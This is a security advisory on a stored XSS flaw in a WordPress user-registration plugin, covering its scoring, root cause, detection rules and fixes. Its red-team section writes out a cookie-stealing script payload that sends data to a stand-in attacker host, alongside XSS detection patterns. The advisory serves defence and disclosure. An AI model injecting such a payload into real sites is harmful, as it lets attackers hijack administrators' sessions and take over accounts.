CVE-2025-30899

Executive Summary

CVE-2025-30899 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin User Registration & Membership by Wpeverest, affecting versions up to and including 4.0.3. This vulnerability allows an authenticated attacker with low privileges (e.g., subscriber) to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the script executes, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid user account (e.g., subscriber).
• User Interaction (UI): Required (R) – Victim (e.g., admin) must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and lateral movement within a WordPress site elevates the risk for organizations relying on this plugin for user registration and membership management.

Deep Dive & Mechanics

The vulnerability exists in the user-registration plugin's handling of user profile fields. When a user registers or updates their profile, the plugin stores the input without proper sanitization or output encoding. Specifically, fields such as "Display Name," "Biography," or custom registration fields are vulnerable. The stored malicious script is then rendered on pages like the user profile page or the admin user list, leading to Stored XSS.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or fails to escape output when displaying user-submitted data in the admin area or frontend. The wp_kses() function allows certain HTML tags, but if not configured strictly, it can permit <script> tags or event handlers like onload, onerror, etc.

Attack Flow:

1. Attacker registers a new account with a malicious payload in a profile field (e.g., <script>alert(document.cookie)</script>).
2. The plugin stores the payload in the WordPress database.
3. An administrator visits the "Users" list or the attacker's profile page.
4. The payload executes in the admin's browser, allowing the attacker to steal session cookies, create new admin accounts, or perform other actions.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (user-registration plugin <= 4.0.3)
echo '<div class="user-registration-profile">' . $user_data['description'] . '</div>';

A patched version would properly escape the output:

// Patched code (hypothetical)
echo '<div class="user-registration-profile">' . esc_html( $user_data['description'] ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with User Registration plugin <= 4.0.3.
• A low-privilege user account (e.g., subscriber).

Steps:

1. Log in as a subscriber.
2. Navigate to the profile edit page (e.g., /wp-admin/profile.php).
3. In the "Biographical Info" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for an administrator to view the Users list or the attacker's profile page.
6. The admin's browser executes the script, sending the cookie to the attacker's server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for suspicious registration or profile update requests containing <script>, onerror, onload, or other XSS vectors.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Review WordPress user meta entries for unexpected HTML/JavaScript.

Hunting:

• Query the WordPress database for user meta containing <script or on*= patterns:

  SELECT * FROM wp_usermeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror=%' OR meta_value LIKE '%onload=%';
  

• Check for recently created users with suspicious display names or descriptions.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Host: User meta entries in the wp_usermeta table containing JavaScript payloads.
• Logs: WordPress debug logs showing PHP warnings related to wp_kses() or output escaping.
• File: Modified plugin files (though unlikely for this stored XSS).

Example IOC (Database):

user_id: 5
meta_key: description
meta_value: <script>alert(1)</script>

Detection Engineering

YARA Rule

rule CVE_2025_30899_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress user meta for CVE-2025-30899"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30899"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"].*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-30899 Stored XSS in User Registration Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts via user profile updates in WordPress User Registration plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-admin/profile.php'
        http.method: 'POST'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in user bios (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30899 Stored XSS Payload in User Registration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user registration to trusted users only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
4. Review and clean existing user meta for malicious content.

Long-term Fix:

• Apply the official patch once released by Wpeverest.
• Upgrade to a patched version (e.g., > 4.0.3) when available.
• Consider using a different user registration plugin with better security practices.

Workaround:

• Add custom code to your theme's functions.php to sanitize user input:

  add_filter( 'user_registration_process_registration', 'sanitize_user_registration_fields', 10, 2 );
  function sanitize_user_registration_fields( $form_data, $form_id ) {
      foreach ( $form_data as $key => $value ) {
          if ( is_string( $value ) ) {
              $form_data[$key] = sanitize_text_field( $value );
          }
      }
      return $form_data;
  }
  

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